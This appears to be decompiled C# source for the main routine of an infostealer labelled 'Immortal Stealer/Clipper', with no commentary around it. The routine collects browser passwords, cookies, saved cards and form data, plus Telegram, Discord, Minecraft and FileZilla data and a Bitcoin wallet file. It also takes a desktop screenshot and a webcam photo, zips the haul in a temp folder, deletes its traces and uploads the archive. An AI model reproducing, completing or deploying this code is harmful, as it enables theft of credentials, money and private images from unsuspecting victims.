// Token: 0x06000029 RID: 41
    public static void stealer_main_routine()
    {
        string text  = Class8.Random_string();
        string text2 = Path.GetTempPath() + text;

        Directory.CreateDirectory(text2);
        using (StreamWriter streamWriter = new StreamWriter(text2 + "\\passwords.log"))
        {
            streamWriter.WriteLine(string.Concat(new string[]
            {
                "[==================== Immortal Stealer/Clipper ====================]\r\n[=================== Create By Zet5D ===================]\r\n[=================== Telegram: @Zet5D ===================]\r\n",
                string.Format("Date: {0}\r\n", DateTime.Now),
                string.Format("Windows Username: {0}\r\n", Environment.UserName),
                string.Format("HWID: {0}\r\n", Class2.hwid),
                string.Format("System: {0}\r\n", Class9.define_windows())
            }));
            try
            {
                foreach (PassData value in Chromium.Initialise())
                {
                    streamWriter.WriteLine(value);
                }
            }
            catch
            {
            }
        }
        try
        {
            Class9.grab_desktop(text2);
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.ToString());
        }
        try
        {
            Class9.grab_minecraft(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_telegram(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_discord(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.get_screenshot(text2 + "\\desktop.jpg");
        }
        catch (Exception ex2)
        {
            Console.WriteLine(ex2.ToString());
        }
        try
        {
            Class9.Class10.get_webcam(text2 + "\\CamPicture.png");
        }
        catch (Exception ex3)
        {
            Console.WriteLine(ex3.ToString());
        }
        try
        {
            Class4.grab_cookies(text2 + "\\");
        }
        catch (Exception ex4)
        {
            Console.WriteLine(ex4.ToString());
        }
        try
        {
            Class14.grab_cards(text2 + "\\");
        }
        catch (Exception ex5)
        {
            Console.WriteLine(ex5.ToString());
        }
        try
        {
            GrabForms.grab_forms(text2 + "\\");
        }
        catch (Exception ex6)
        {
            Console.WriteLine(ex6.ToString());
        }
        try
        {
            Class6.Class7.get_filezilla(text2 + "\\");
        }
        catch (Exception ex7)
        {
            Console.WriteLine(ex7.ToString());
        }
        try
        {
            string bitcoin = CryptoWallets.get_bitcoin();
            if (bitcoin != "" && File.Exists(bitcoin))
            {
                File.Copy(bitcoin, text2 + "\\wallet.dat");
            }
        }
        catch (Exception ex8)
        {
            Console.WriteLine(ex8.ToString());
        }
        try
        {
            Class9.zip_folder(text2, Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex9)
        {
            Console.WriteLine(ex9.ToString());
        }
        try
        {
            Class9.delete_folder(text2);
        }
        catch (Exception ex10)
        {
            Console.WriteLine(ex10.ToString());
        }
        try
        {
            Internet.upload_file(Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex11)
        {
            Console.WriteLine(ex11.ToString());
        }
    }